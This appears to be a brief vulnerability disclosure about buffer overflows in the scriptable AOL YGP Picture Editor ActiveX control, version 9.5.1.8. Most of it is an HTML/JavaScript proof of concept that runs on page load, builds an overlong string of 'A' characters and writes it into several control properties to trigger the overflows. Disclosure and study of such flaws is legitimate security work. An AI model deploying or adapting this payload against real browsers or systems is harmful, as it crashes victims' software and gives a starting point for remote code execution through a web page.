The AOL YGP Picture Editor Control(AIM PicEditor Control) version 9.5.1.8 suffers from multiple exploitable buffer overflows in various properties. This object is marked safe for scripting. I have not tested other versions. PoC as follows:
<!--

<html>
<head>
<script language="JavaScript" DEFER>
function Check() {
var s = 'A';
while (s.length <= 8175) s = s + 'A'; obj.DisplayName = s; obj.DisplayName = s; obj.FinalSavePath = s; obj.ForceSaveTo = s; obj.HiddenControls = s; obj.InitialEditorScreen = s; obj.Locale = s; obj.Proxy = s; obj.UserAgent = s;
}
</script>
</head>
<body onload="JavaScript: return Check();">
<object id="obj" classid="clsid:085891E5-ED86-425F-8522-C10290FA8309">
</object>
</body>

Happy Holidays to all!
